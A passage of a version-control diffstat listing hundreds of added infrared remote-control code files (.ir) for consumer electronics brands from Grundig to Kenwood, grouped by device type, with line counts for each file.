.../_CSV-IRDB_/Grundig/Satellite/2,-1.ir | 68 + .../_CSV-IRDB_/Grundig/Satellite/8,-1.ir | 8 + .../infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir | 206 + .../_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir | 182 + .../_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir | 260 + .../Grundig/Unknown_CDM700.cfg/162,162.ir | 170 + .../Grundig/Unknown_Grundig-TP660/0,-1.ir | 248 + .../_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir | 242 + .../Grundig/Unknown_RC8400CD/20,-1.ir | 146 + .../_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir | 176 + .../Grundig/Unknown_TP-750C/0,-1.ir | 170 + .../_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir | 194 + .../Grundig/Unknown_UMS9V/162,162.ir | 116 + .../_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir | 164 + .../_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir | 302 + .../Grundig/Video Recorder/127,-1.ir | 140 + .../Gryphon/Integrated Amplifier/16,-1.ir | 38 + .../Unknown_RemoteWizard-GN-263/134,107.ir | 176 + .../_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir | 176 + .../_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir | 122 + .../_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir | 140 + .../_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir | 140 + .../_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir | 272 + .../HP/Unknown_RC172308-01B/4,15.ir | 140 + .../HP/Unknown_RC1762302-00/4,17.ir | 134 + .../HP/Unknown_RC1762307-01/4,15.ir | 140 + .../HP/Unknown_RC2234302-01B/4,15.ir | 260 + .../infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir | 176 + .../_CSV-IRDB_/HQV/Video Processor/128,-1.ir | 122 + .../_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir | 164 + .../Hama/Unknown_PhotoPlayer/134,107.ir | 146 + .../Hampton Bay/Unknown_Bay/129,102.ir | 44 + .../Harman Kardon/Amplifier/128,112.ir | 62 + .../Harman Kardon/Amplifier/130,114.ir | 20 + .../Harman Kardon/Blu-Ray/132,116.ir | 266 + .../Harman Kardon/CD Changer/128,112.ir | 182 + .../Harman Kardon/CD Player/0,-1.ir | 116 + .../Harman Kardon/CD Player/128,112.ir | 590 + .../Harman Kardon/CD Player/131,74.ir | 338 + .../_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir | 32 + .../Harman Kardon/Cassette Tape/130,114.ir | 86 + .../Harman Kardon/DVD Player/130,114.ir | 728 + .../Harman Kardon/Pre-Amplifier/128,112.ir | 194 + .../Harman Kardon/Pre-Amplifier/130,114.ir | 50 + .../Harman Kardon/Receiver/128,112.ir | 1964 ++ .../Harman Kardon/Receiver/130,114.ir | 1688 ++ .../Harman Kardon/Receiver/132,116.ir | 44 + .../Harman Kardon/Receiver/132,66.ir | 272 + .../Harman Kardon/Receiver/134,118.ir | 200 + .../Harman Kardon/Receiver/161,-1.ir | 38 + .../Harman Kardon/Receiver/164,-1.ir | 14 + .../_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir | 38 + .../Harman Kardon/Receiver/40,-1.ir | 38 + .../_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir | 8 + .../Harman Kardon/Surround Processor/0,-1.ir | 8 + .../Harman Kardon/Surround Processor/12,-1.ir | 8 + .../Surround Processor/128,112.ir | 392 + .../Surround Processor/130,114.ir | 284 + .../Harman Kardon/Surround Processor/16,-1.ir | 50 + .../Harman Kardon/Surround Processor/17,-1.ir | 26 + .../Harman Kardon/Surround Processor/18,-1.ir | 8 + .../Harman Kardon/Surround Processor/20,-1.ir | 8 + .../Harman Kardon/Surround Processor/23,-1.ir | 8 + .../Harman Kardon/Surround Processor/5,-1.ir | 68 + .../Harman Kardon/Surround Processor/6,-1.ir | 8 + .../Harman Kardon/Surround Processor/64,-1.ir | 26 + .../Surround Receiver/128,112.ir | 158 + .../Surround Receiver/130,114.ir | 146 + .../_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir | 110 + .../_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir | 380 + .../_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir | 212 + .../Harman Kardon/Unknown/130,114.ir | 86 + .../Harman Kardon/Unknown_DVD/130,114.ir | 260 + .../Harman Kardon/Unknown_HD730/131,74.ir | 164 + .../Unknown_Kardon-DVD/130,114.ir | 260 + .../Unknown_harmankardon/128,112.ir | 182 + .../Harman Kardon/Video Projector/0,-1.ir | 128 + .../Harman Kardon/Video Projector/1,-1.ir | 140 + .../Harman Kardon/Video Projector/30,-1.ir | 128 + .../Harman Kardon/Video Projector/7,0.ir | 8 + .../_CSV-IRDB_/Harman Kardon/iPod/130,114.ir | 50 + .../Harman Video/Video Projector/1,-1.ir | 140 + .../Harman Video/Video Projector/7,0.ir | 8 + .../_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir | 308 + .../Hauppauge/Unknown_DSR-0095/29,-1.ir | 212 + .../_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir | 206 + .../Hauppauge/Unknown_R808/30,-1.ir | 230 + .../Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir | 212 + .../Hauppauge/Unknown_WinTV-HVR/4,15.ir | 272 + .../Hauppauge/Unknown_hauppauge-stb/5,-1.ir | 158 + .../Hello Kitty/Unknown_Kitty/0,-1.ir | 200 + .../infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir | 746 + .../Hermstedt/Unknown_Hifidelio/16,-1.ir | 242 + .../Hewlett Packard/Plasma/18,17.ir | 242 + .../_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir | 86 + .../_CSV-IRDB_/Hewlett Packard/TV/18,17.ir | 242 + .../_CSV-IRDB_/Hewlett Packard/TV/2,17.ir | 176 + .../Unknown_Electronics/0,-1.ir | 20 + .../Hip Interactive/Unknown_GE1002/0,246.ir | 98 + .../_CSV-IRDB_/Hirschmann/Satellite/32,255.ir | 212 + .../Hirschmann/Unknown_RC426/54,-1.ir | 176 + .../_CSV-IRDB_/Hitachi/CD Player/168,-1.ir | 212 + .../_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir | 38 + .../infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir | 656 + .../infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir | 20 + .../infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir | 8 + .../infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir | 8 + .../infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir | 146 + .../infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir | 122 + .../infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir | 8 + .../_CSV-IRDB_/Hitachi/DVD Player/102,0.ir | 236 + .../_CSV-IRDB_/Hitachi/Display/80,-1.ir | 50 + .../infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir | 8 + .../_CSV-IRDB_/Hitachi/Monitor/144,0.ir | 122 + .../_CSV-IRDB_/Hitachi/Monitor/80,-1.ir | 542 + .../_CSV-IRDB_/Hitachi/Monitor/96,-1.ir | 200 + .../_CSV-IRDB_/Hitachi/Monitor/96,158.ir | 8 + .../_CSV-IRDB_/Hitachi/Monitor/97,-1.ir | 20 + .../_CSV-IRDB_/Hitachi/Plasma/80,-1.ir | 14 + .../_CSV-IRDB_/Hitachi/Plasma/80,173.ir | 182 + .../infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir | 134 + .../infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir | 1202 ++ .../infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir | 8 + .../infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir | 110 + .../infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir | 14 + .../Hitachi/Unknown_CLE-941/80,-1.ir | 170 + .../Hitachi/Unknown_CLE-947/80,-1.ir | 188 + .../Hitachi/Unknown_CP-X345/135,69.ir | 158 + .../Hitachi/Unknown_DV-RM335E/128,35.ir | 248 + .../_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir | 170 + .../_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir | 158 + .../Hitachi/Unknown_Hitachi/1,-1.ir | 62 + .../Hitachi/Unknown_Hitachi/80,-1.ir | 152 + .../Hitachi/Unknown_hitachi.conf/91,-1.ir | 188 + .../infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir | 224 + .../infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir | 470 + .../infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir | 26 + .../infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir | 116 + .../infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir | 362 + .../infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir | 110 + .../infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir | 2348 +++ .../infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir | 1436 ++ .../infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir | 74 + .../infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir | 56 + .../Hitachi/Video Projector/135,69.ir | 584 + .../Hitachi/Video Projector/80,-1.ir | 116 + .../_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir | 212 + .../_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir | 242 + .../Hokkaido/Unknown_Airconditioner/77,178.ir | 350 + .../Homecast/Satellite Receiver/1,-1.ir | 284 + .../Homecast/Unknown_DVB-S/32,32.ir | 194 + .../Homecast/Unknown_DVB-T/64,64.ir | 218 + .../infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir | 50 + .../infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir | 200 + .../infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir | 728 + .../infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir | 272 + .../infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir | 38 + .../infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir | 32 + .../infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir | 146 + .../infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir | 14 + .../infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir | 248 + .../infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir | 218 + .../Hughes/HD Satellite HD Tivo/133,48.ir | 218 + .../_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir | 350 + .../_CSV-IRDB_/Hughes/Satellite/1,-1.ir | 50 + .../_CSV-IRDB_/Hughes/Satellite/12,-1.ir | 200 + .../_CSV-IRDB_/Hughes/Satellite/12,251.ir | 746 + .../_CSV-IRDB_/Hughes/Satellite/133,48.ir | 38 + .../_CSV-IRDB_/Hughes/Satellite/136,-1.ir | 38 + .../_CSV-IRDB_/Hughes/Satellite/4,-1.ir | 32 + .../_CSV-IRDB_/Hughes/Satellite/60,178.ir | 146 + .../_CSV-IRDB_/Hughes/Satellite/71,-1.ir | 14 + .../infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir | 200 + .../_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir | 146 + .../Hughes/Unknown_HRMC-8/12,251.ir | 194 + .../_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir | 146 + .../infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir | 134 + .../infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir | 8 + .../_CSV-IRDB_/Humax/Com Hem Box/0,16.ir | 224 + .../_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir | 212 + .../_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir | 188 + .../_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir | 320 + .../_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir | 224 + .../_CSV-IRDB_/Humax/Satellite/0,17.ir | 20 + .../_CSV-IRDB_/Humax/Satellite/0,23.ir | 242 + .../_CSV-IRDB_/Humax/Satellite/0,73.ir | 212 + .../_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir | 242 + .../_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir | 200 + .../_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir | 254 + .../Humax/Unknown_Humax-5400IRCI/0,16.ir | 200 + .../Humax/Unknown_Humax-RC-536P/2,23.ir | 302 + .../_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir | 236 + .../Humax/Unknown_lircd.conf/0,16.ir | 200 + .../Hyundai/Unknown_H-DVD5038N/0,251.ir | 296 + .../_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir | 140 + .../_CSV-IRDB_/I-O Data/DVD Player/8,230.ir | 284 + .../_CSV-IRDB_/I24/Unknown_I24/0,-1.ir | 146 + .../_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir | 326 + .../_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir | 242 + .../_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir | 314 + .../_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir | 98 + .../_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir | 86 + .../_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir | 236 + .../Imerge/Digital Jukebox/14,-1.ir | 236 + .../Imerge/Digital Jukebox/161,-1.ir | 8 + .../Imerge/Digital Jukebox/162,-1.ir | 8 + .../Imerge/Digital Jukebox/163,-1.ir | 8 + .../Imerge/Digital Jukebox/164,-1.ir | 8 + .../Imerge/Digital Jukebox/165,-1.ir | 8 + .../Imerge/Digital Jukebox/166,-1.ir | 8 + .../Imerge/Digital Jukebox/191,-1.ir | 116 + .../Imerge/Digital Jukebox/255,-1.ir | 62 + .../_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir | 206 + .../_CSV-IRDB_/InFocus/Plasma/7,-1.ir | 206 + .../_CSV-IRDB_/InFocus/Projector/135,78.ir | 206 + .../InFocus/Unknown_InFocus-SP8600/49,-1.ir | 92 + .../InFocus/Unknown_ScreenPlay/135,78.ir | 116 + .../InFocus/Unknown_remote/135,78.ir | 62 + .../InFocus/Video Projector/1,-1.ir | 8 + .../InFocus/Video Projector/123,2.ir | 134 + .../InFocus/Video Projector/131,85.ir | 92 + .../InFocus/Video Projector/135,78.ir | 596 + .../InFocus/Video Projector/15,-1.ir | 206 + .../_CSV-IRDB_/InFocus/Video Projector/2,1.ir | 74 + .../InFocus/Video Projector/78,135.ir | 188 + .../InFocus/Video Projector/80,79.ir | 98 + .../_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir | 224 + .../_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir | 260 + .../_CSV-IRDB_/Insignia/DVD Player/135,34.ir | 260 + .../infrared/_CSV-IRDB_/Insignia/TV/134,5.ir | 260 + .../Insignia/Unknown_WIR147002-8301/67,71.ir | 290 + .../_CSV-IRDB_/Instant Replay/VCR/2,-1.ir | 212 + .../_CSV-IRDB_/Instant Replay/VCR/25,-1.ir | 14 + .../_CSV-IRDB_/Instant Replay/VCR/3,-1.ir | 20 + .../_CSV-IRDB_/Instant Replay/VCR/96,-1.ir | 194 + .../_CSV-IRDB_/Instant Replay/VCR/97,-1.ir | 8 + .../_CSV-IRDB_/Integra/Amplifier/210,109.ir | 188 + .../_CSV-IRDB_/Integra/Amplifier/71,-1.ir | 80 + .../_CSV-IRDB_/Integra/Blu-Ray/210,31.ir | 272 + .../_CSV-IRDB_/Integra/CD Player/210,44.ir | 272 + .../_CSV-IRDB_/Integra/DVD Player/210,31.ir | 332 + .../_CSV-IRDB_/Integra/DVD Player/210,43.ir | 1232 ++ .../_CSV-IRDB_/Integra/DVD Player/69,181.ir | 308 + .../_CSV-IRDB_/Integra/Digital Audio/210,3.ir | 50 + .../_CSV-IRDB_/Integra/Digital Audio/210,4.ir | 8 + .../_CSV-IRDB_/Integra/Digital Audio/210,9.ir | 200 + .../_CSV-IRDB_/Integra/HD DVD/69,181.ir | 308 + .../Integra/Integrated Amplifier/210,109.ir | 188 + .../Integra/Integrated Amplifier/71,-1.ir | 80 + .../_CSV-IRDB_/Integra/Media PC/4,15.ir | 458 + .../Integra/Pre-Amplifier/210,108.ir | 194 + .../Integra/Pre-Amplifier/210,109.ir | 158 + .../Integra/Pre-Amplifier/210,172.ir | 80 + .../_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir | 380 + .../Integra/Pre-Amplifier/210,25.ir | 182 + .../Integra/Pre-Amplifier/210,30.ir | 392 + .../_CSV-IRDB_/Integra/Receiver/210,1.ir | 14 + .../_CSV-IRDB_/Integra/Receiver/210,108.ir | 1532 ++ .../_CSV-IRDB_/Integra/Receiver/210,109.ir | 2180 +++ .../_CSV-IRDB_/Integra/Receiver/210,17.ir | 404 + .../_CSV-IRDB_/Integra/Receiver/210,172.ir | 374 + .../_CSV-IRDB_/Integra/Receiver/210,18.ir | 122 + .../_CSV-IRDB_/Integra/Receiver/210,19.ir | 32 + .../_CSV-IRDB_/Integra/Receiver/210,2.ir | 962 + .../_CSV-IRDB_/Integra/Receiver/210,20.ir | 350 + .../_CSV-IRDB_/Integra/Receiver/210,21.ir | 314 + .../_CSV-IRDB_/Integra/Receiver/210,22.ir | 98 + .../_CSV-IRDB_/Integra/Receiver/210,23.ir | 26 + .../_CSV-IRDB_/Integra/Receiver/210,24.ir | 224 + .../_CSV-IRDB_/Integra/Receiver/210,25.ir | 410 + .../_CSV-IRDB_/Integra/Receiver/210,30.ir | 698 + .../_CSV-IRDB_/Integra/Receiver/210,43.ir | 8 + .../_CSV-IRDB_/Integra/Tuner/210,109.ir | 14 + .../_CSV-IRDB_/Integra/Tuner/210,2.ir | 68 + .../_CSV-IRDB_/Integra/iPod/210,108.ir | 86 + .../_CSV-IRDB_/Integra/iPod/210,109.ir | 50 + .../_CSV-IRDB_/Integra/iPod/210,172.ir | 98 + .../infrared/_CSV-IRDB_/Integra/iPod/210,2.ir | 140 + .../Distributed Audio/0,90.ir | 194 + .../Interact/Unknown_I-22121/0,-1.ir | 98 + .../_CSV-IRDB_/Intervideo/VCR/49,-1.ir | 260 + .../Unknown_Intervision/134,107.ir | 188 + .../_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir | 212 + .../Unknown_IrradioHIFI1300V/162,162.ir | 116 + .../infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir | 152 + .../JBL/Surround Processor/130,11.ir | 464 + .../JBL/Surround Processor/132,66.ir | 200 + .../JBL/Surround Processor/28,-1.ir | 218 + .../infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir | 140 + .../_CSV-IRDB_/JVC/CD Jukebox/179,0.ir | 158 + .../_CSV-IRDB_/JVC/CD Jukebox/34,33.ir | 26 + .../_CSV-IRDB_/JVC/CD Jukebox/34,48.ir | 212 + .../_CSV-IRDB_/JVC/CD Player/179,-1.ir | 1082 ++ .../_CSV-IRDB_/JVC/CD Player/179,0.ir | 878 + .../_CSV-IRDB_/JVC/CD Player/34,33.ir | 32 + .../_CSV-IRDB_/JVC/CD Player/34,48.ir | 320 + .../_CSV-IRDB_/JVC/Camcorder/211,-1.ir | 134 + .../_CSV-IRDB_/JVC/Camcorder/67,-1.ir | 38 + .../_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir | 146 + .../infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir | 260 + .../_CSV-IRDB_/JVC/DVD Player/179,-1.ir | 122 + .../_CSV-IRDB_/JVC/DVD Player/239,-1.ir | 812 + .../_CSV-IRDB_/JVC/DVD Player/26,-1.ir | 50 + .../_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir | 338 + .../JVC/HD-ILA Projection/115,-1.ir | 194 + .../_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir | 14 + .../_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir | 284 + .../_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir | 8 + .../infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir | 8 + .../infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir | 152 + .../infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir | 14 + .../infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir | 80 + .../infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir | 8 + .../infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir | 146 + .../infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir | 32 + .../infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir | 8 + .../_CSV-IRDB_/JVC/Mini System/131,-1.ir | 68 + .../_CSV-IRDB_/JVC/Mini System/159,-1.ir | 128 + .../_CSV-IRDB_/JVC/Mini System/163,-1.ir | 134 + .../_CSV-IRDB_/JVC/Mini System/175,-1.ir | 86 + .../_CSV-IRDB_/JVC/Mini System/179,-1.ir | 242 + .../_CSV-IRDB_/JVC/Mini System/31,-1.ir | 14 + .../infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir | 440 + .../infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir | 122 + .../infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir | 20 + .../_CSV-IRDB_/JVC/Projector/115,-1.ir | 320 + .../infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir | 44 + .../_CSV-IRDB_/JVC/Receiver/121,-1.ir | 38 + .../_CSV-IRDB_/JVC/Receiver/131,-1.ir | 596 + .../_CSV-IRDB_/JVC/Receiver/147,-1.ir | 236 + .../_CSV-IRDB_/JVC/Receiver/159,-1.ir | 290 + .../_CSV-IRDB_/JVC/Receiver/163,-1.ir | 1784 ++ .../_CSV-IRDB_/JVC/Receiver/175,-1.ir | 128 + .../_CSV-IRDB_/JVC/Receiver/179,-1.ir | 1112 ++ .../_CSV-IRDB_/JVC/Receiver/191,-1.ir | 116 + .../_CSV-IRDB_/JVC/Receiver/239,-1.ir | 8 + .../infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir | 530 + .../infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir | 14 + .../infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir | 644 + .../infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir | 158 + .../infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir | 140 + .../infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir | 80 + .../infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir | 14 + .../infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir | 86 + .../infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir | 26 + .../_CSV-IRDB_/JVC/Switcher/243,-1.ir | 134 + .../infrared/_CSV-IRDB_/JVC/TV/15,-1.ir | 32 + .../infrared/_CSV-IRDB_/JVC/TV/3,-1.ir | 698 + .../infrared/_CSV-IRDB_/JVC/TV/31,-1.ir | 44 + .../infrared/_CSV-IRDB_/JVC/TV/67,-1.ir | 8 + .../infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir | 50 + .../infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir | 116 + .../infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir | 284 + .../infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir | 146 + .../infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir | 20 + .../infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir | 56 + .../_CSV-IRDB_/JVC/Unknown_440/179,-1.ir | 140 + .../JVC/Unknown_JVC-RM-C475W/3,-1.ir | 170 + .../_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir | 164 + .../JVC/Unknown_JvcDishPlayer500/3,0.ir | 236 + .../JVC/Unknown_LP20106-002/67,-1.ir | 176 + .../_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir | 128 + .../_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir | 170 + .../_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir | 176 + .../_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir | 158 + .../_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir | 164 + .../_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir | 158 + .../_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir | 206 + .../_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir | 170 + .../_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir | 56 + .../_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir | 56 + .../_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir | 194 + .../_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir | 110 + .../_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir | 296 + .../_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir | 200 + .../JVC/Unknown_RM-RXUT200R/159,-1.ir | 236 + .../_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir | 134 + .../JVC/Unknown_RM-SX263U/179,-1.ir | 164 + .../JVC/Unknown_RM-SXVS40A/239,-1.ir | 242 + .../_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir | 62 + .../_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir | 116 + .../_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir | 104 + .../_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir | 260 + .../JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir | 284 + .../_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir | 236 + .../_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir | 146 + .../_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir | 98 + .../infrared/_CSV-IRDB_/JVC/VCR/0,14.ir | 140 + .../infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir | 350 + .../infrared/_CSV-IRDB_/JVC/VCR/1,14.ir | 14 + .../infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir | 32 + .../infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir | 152 + .../infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir | 140 + .../infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir | 644 + .../infrared/_CSV-IRDB_/JVC/VCR/5,1.ir | 8 + .../infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir | 56 + .../infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir | 3872 ++++ .../infrared/_CSV-IRDB_/JVC/VCR/8,14.ir | 92 + .../infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir | 8 + .../infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir | 1376 ++ .../_CSV-IRDB_/JVC/Video Projector/115,-1.ir | 764 + .../_CSV-IRDB_/JVC/Video Projector/131,85.ir | 74 + .../_CSV-IRDB_/JVC/Video Switcher/243,-1.ir | 212 + .../_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir | 326 + .../_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir | 338 + .../_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir | 26 + .../Jerrold/Unknown_550-osd/0,-1.ir | 164 + .../Jerrold/Unknown_CFT2000/0,-1.ir | 92 + .../_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir | 164 + .../_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir | 158 + .../_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir | 200 + .../KENMORE/Unknown_253-79081/8,245.ir | 68 + .../KEY DIGITAL/Component Switcher/130,19.ir | 170 + .../KEY DIGITAL/Matrix Switcher/130,19.ir | 638 + .../KEY DIGITAL/Matrix Switcher/132,-1.ir | 188 + .../KEY DIGITAL/Matrix Switcher/27,-1.ir | 8 + .../_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir | 56 + .../KEY DIGITAL/Video Switcher/130,19.ir | 26 + .../KEY DIGITAL/Video Switcher/132,-1.ir | 188 + .../KEY DIGITAL/Video Switcher/27,-1.ir | 8 + .../Kaleidescape/DVD Player/69,-1.ir | 434 + .../Kaleidescape/Distributed/69,-1.ir | 374 + .../Kaon/Unknown_KSC-i260MCO/32,8.ir | 230 + .../_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir | 182 + .../Kaon/Unknown_KTF-I2001CO/32,8.ir | 212 + .../Kathrein/DVBS-Receiver/34,144.ir | 446 + .../_CSV-IRDB_/Kathrein/Satellite/0,-1.ir | 158 + .../_CSV-IRDB_/Kathrein/Satellite/34,144.ir | 218 + .../Kathrein/Unknown_KathreinUFD400/0,-1.ir | 158 + .../Kensington/MP3 Player/51,170.ir | 32 + .../_CSV-IRDB_/Kensington/iPod Dock/51,170.ir | 62 + .../_CSV-IRDB_/Kenwood/Amplifier/184,0.ir | 122 + .../_CSV-IRDB_/Kenwood/Amplifier/184,1.ir | 44 + .../_CSV-IRDB_/Kenwood/Amplifier/184,2.ir | 62 + .../_CSV-IRDB_/Kenwood/Amplifier/184,4.ir | 8 + .../_CSV-IRDB_/Kenwood/Amplifier/184,7.ir | 50 + .../_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir | 134 + .../_CSV-IRDB_/Kenwood/CD Changer/182,72.ir | 8 + .../_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir | 